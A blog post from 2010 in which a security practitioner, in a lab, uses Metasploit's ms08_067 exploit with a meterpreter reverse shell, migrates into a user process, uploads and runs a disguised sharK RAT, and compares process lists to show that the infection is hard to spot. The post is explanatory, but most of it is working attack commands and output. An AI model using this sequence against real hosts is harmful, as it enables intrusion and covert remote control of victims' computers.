25 March 2010

Even When You Know You're Pwnd, It's Hard To See

I'm playing around with a RAT showdown for a project I'm working on (teaser: It will be a comparison of SharK 3.1, Poison Ivy 2.3.2, and the GPL version of Immunity Inc's Hydrogen).

While doing this, it really hit home how tough it is to tell a host has been owned if it's being done right.

I know this anyway, having been on the incident response side of things for a number of years, so it's not news really. It's just that every now and then something springs back up from memory and smacks you clear across the face and screams "Oh Yeah!" in a Randy "Macho Man" Savage impression. This was one of those moments for me.

Let me give an example. I'll do that, by combining it with a "how to use the metasploit framework to upload binaries" overview first.

So, step 1 is: get MSF3, and run the msfconsole. I'm going to skip that step here, and jump straight to setting the payload we want (meterpreter), and exploiting.

First, set the payload:

 msf > setg payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp


Now pick everyone's favorite exploit: ms08_067_netapi
 msf > use exploit/windows/smb/ms08_067_netapi 


Let's take a look at the options:
msf exploit(ms08_067_netapi) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process
LHOST 10.0.1.51 yes The local address
LPORT 4444 yes The local port


Exploit target:

Id Name
-- ----
0 Automatic Targeting


Some of these were set for me via my msfconsole.rc file (specifically, the LHOST setting for the payload.)
Now I pick the target I'll be exploiting, and set it with the RHOST option:

msf exploit(ms08_067_netapi) > set RHOST 10.0.1.71
RHOST => 10.0.1.71


Once that's all set, I can exploit the host:
msf exploit(ms08_067_netapi) > exploit

[*] Started reverse handler on 10.0.1.51:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (NX)
[*] Triggering the vulnerability...
[*] Sending stage (748032 bytes)
[*] Meterpreter session 1 opened (10.0.1.51:4444 -> 10.0.1.71:1082)


BAM! I have a meterpreter session (ms08_067 isn't called 'old faithful' for nothing.)

OK. Pentest done. Next B0x!

Unfortunately, that's too often the case. This is sad really, because there's so much more I can do with this. Like the following ;-)

Let me start by finding out some information about the session, what privs I have on the host, and what process I'm running under:

 meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > getpid
Current pid: 1108

meterpreter > ps

Process list
============

PID Name Arch Session User Path
--- ---- ---- ------- ---- ----
0 [System Process]
4 System x86 0 NT AUTHORITY\SYSTEM
632 smss.exe x86 0 NT AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe
680 csrss.exe x86 0 NT AUTHORITY\SYSTEM \??\C:\WINDOWS\system32\csrss.exe
704 winlogon.exe x86 0 NT AUTHORITY\SYSTEM \??\C:\WINDOWS\system32\winlogon.exe
748 services.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\services.exe
764 lsass.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\lsass.exe
940 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\svchost.exe
988 svchost.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\svchost.exe
1108 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\System32\svchost.exe
1184 svchost.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\svchost.exe
1280 svchost.exe x86 0 NT AUTHORITY\LOCAL SERVICE C:\WINDOWS\system32\svchost.exe
1448 spoolsv.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\spoolsv.exe
1704 explorer.exe x86 0 VIKTIM2\viktim C:\WINDOWS\Explorer.EXE
1860 msdtc.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\msdtc.exe
352 mqsvc.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\mqsvc.exe
832 mqtgsvc.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\mqtgsvc.exe
768 alg.exe x86 0 NT AUTHORITY\LOCAL SERVICE C:\WINDOWS\System32\alg.exe
4032 sqlservr.exe x86 0 NT AUTHORITY\NETWORK SERVICE c:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Binn\sqlservr.exe
4052 inetinfo.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\inetsrv\inetinfo.exe
4044 dllhost.exe x86 0 VIKTIM2\IWAM_VIKTIM2 C:\WINDOWS\system32\dllhost.exe
3692 dllhost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\dllhost.exe
3896 IEXPLORE.EXE x86 0 NT AUTHORITY\SYSTEM C:\Program Files\Internet Explorer\IEXPLORE.EXE


Pretty cool. As expected, I'm running as the local system, and have attached to the svchost.exe process (pid# 1108).

If I look at the current working directory for the session, I see it's the Windows system32 directory:
meterpreter > pwd
C:\WINDOWS\system32


That's all very cool, but for this example, I want to interact with a user session.
Looking at the process list, I see that there's a 'viktim' user logged in and that user is running explorer.exe in process 1704.

I'm going to try to switch to that process, using the handy migrate function provided by metasploit:

meterpreter > migrate 1704
[*] Migrating to 1704...
[*] Migration completed successfully.

meterpreter > getuid
Server username: VIKTIM2\viktim


Excellent. I've now switched to a process running in the context of my target user.
Let me take a look at what my current directory is now:

meterpreter > pwd
C:\Documents and Settings\viktim


What I want to do now is to upload my malware to the host.
In this case, I'll be uploading a remote access trojan I built using sharK.
I've named the executable msdce32.exe in a sad attempt to be sneaky ;-)
To upload the file to the victim host, I use the upload function in meterpreter:

 meterpreter > upload msdce32.exe
[*] uploading : msdce32.exe -> msdce32.exe
[*] uploaded : msdce32.exe -> msdce32.exe


Looks like the file upload was successful, so I try running it using the execute command.
This command takes a -f parameter with the filename to execute:

meterpreter > execute -f msdce32.exe
Process 292 created.


Very nice. Looking at my sharK console, I see that the process worked, because my victim has now connected to my SIN and I am able to use sharK to interact with it. (That will be a different post entirely, but here's a screenshot of what it looks like. Note that the XP Desktop in the image below is actually a screen capture of the victim host that sharK provides when you mouseover the connection in the SIN):




Since I'm done exploiting my victim user, let me return back to the host and go back to a system process using the getsystem method in meterpreter:

meterpreter > getsystem
...got system (via technique 1).


Since I'm back at system, let me see if I can see my trojan running:

meterpreter > ps

Process list
============

PID Name Arch Session User Path
--- ---- ---- ------- ---- ----
0 [System Process]
4 System x86 0 NT AUTHORITY\SYSTEM
632 smss.exe x86 0 NT AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe
680 csrss.exe x86 0 NT AUTHORITY\SYSTEM \??\C:\WINDOWS\system32\csrss.exe
704 winlogon.exe x86 0 NT AUTHORITY\SYSTEM \??\C:\WINDOWS\system32\winlogon.exe
748 services.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\services.exe
764 lsass.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\lsass.exe
940 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\svchost.exe
988 svchost.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\svchost.exe
1108 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\System32\svchost.exe
1184 svchost.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\svchost.exe
1280 svchost.exe x86 0 NT AUTHORITY\LOCAL SERVICE C:\WINDOWS\system32\svchost.exe
1448 spoolsv.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\spoolsv.exe
1704 explorer.exe x86 0 VIKTIM2\viktim C:\WINDOWS\Explorer.EXE
1860 msdtc.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\msdtc.exe
352 mqsvc.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\mqsvc.exe
832 mqtgsvc.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\mqtgsvc.exe
768 alg.exe x86 0 NT AUTHORITY\LOCAL SERVICE C:\WINDOWS\System32\alg.exe
4032 sqlservr.exe x86 0 NT AUTHORITY\NETWORK SERVICE c:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Binn\sqlservr.exe
4052 inetinfo.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\inetsrv\inetinfo.exe
4044 dllhost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\dllhost.exe
3692 dllhost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\dllhost.exe
3896 IEXPLORE.EXE x86 0 NT AUTHORITY\SYSTEM C:\Program Files\Internet Explorer\IEXPLORE.EXE
2988 IEXPLORE.EXE x86 0 VIKTIM2\viktim C:\Program Files\Internet Explorer\IEXPLORE.EXE
916 IEXPLORE.EXE x86 0 VIKTIM2\viktim C:\Program Files\Internet Explorer\IEXPLORE.EXE
3448 IEXPLORE.EXE x86 0 VIKTIM2\viktim C:\Program Files\Internet Explorer\iexplore.exe


Hmm.. Nothing really stands out.
For fun, I killed the server from the sharK SIN, and compare the process table without the RAT running:

meterpreter > ps

Process list
============

PID Name Arch Session User Path
--- ---- ---- ------- ---- ----
0 [System Process]
4 System x86 0 NT AUTHORITY\SYSTEM
632 smss.exe x86 0 NT AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe
680 csrss.exe x86 0 NT AUTHORITY\SYSTEM \??\C:\WINDOWS\system32\csrss.exe
704 winlogon.exe x86 0 NT AUTHORITY\SYSTEM \??\C:\WINDOWS\system32\winlogon.exe
748 services.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\services.exe
764 lsass.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\lsass.exe
940 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\svchost.exe
988 svchost.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\svchost.exe
1108 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\System32\svchost.exe
1184 svchost.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\svchost.exe
1280 svchost.exe x86 0 NT AUTHORITY\LOCAL SERVICE C:\WINDOWS\system32\svchost.exe
1448 spoolsv.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\spoolsv.exe
1704 explorer.exe x86 0 VIKTIM2\viktim C:\WINDOWS\Explorer.EXE
1860 msdtc.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\msdtc.exe
352 mqsvc.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\mqsvc.exe
832 mqtgsvc.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\mqtgsvc.exe
768 alg.exe x86 0 NT AUTHORITY\LOCAL SERVICE C:\WINDOWS\System32\alg.exe
4032 sqlservr.exe x86 0 NT AUTHORITY\NETWORK SERVICE c:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Binn\sqlservr.exe
4052 inetinfo.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\inetsrv\inetinfo.exe
4044 dllhost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\dllhost.exe
3692 dllhost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\dllhost.exe
3896 IEXPLORE.EXE x86 0 NT AUTHORITY\SYSTEM C:\Program Files\Internet Explorer\IEXPLORE.EXE
2988 IEXPLORE.EXE x86 0 VIKTIM2\viktim C:\Program Files\Internet Explorer\IEXPLORE.EXE
3364 IEXPLORE.EXE x86 0 VIKTIM2\viktim C:\Program Files\Internet Explorer\iexplore.exe


If you can't see a difference between the 'infected' and 'not infected' states, it's because there's not much of one.
Here's the output from running the 'diff' command on the process tables:

 $ diff running notrunning
32,33c32
< 916 IEXPLORE.EXE x86 0 VIKTIM2\viktim C:\Program Files\Internet Explorer\IEXPLORE.EXE
< 3448 IEXPLORE.EXE x86 0 VIKTIM2\viktim C:\Program Files\Internet Explorer\iexplore.exe
---
> 3364 IEXPLORE.EXE x86 0 VIKTIM2\viktim C:\Program Files\Internet Explorer\iexplore.exe


As you can see, it's pretty tough to tell that this host is compromised just based on that.

You could see that it was compromised in the network traffic perhaps, as the RAT communicates with its control center. However, if a standard port was being used for the comms (say, TCP/80 for example) it could be difficult to tell even then without looking at the actual packets to examine the data.

Like I said, this wasn't really something I just figured out, it was just a very nice, clearly defined example of it.

No comments:

Post a Comment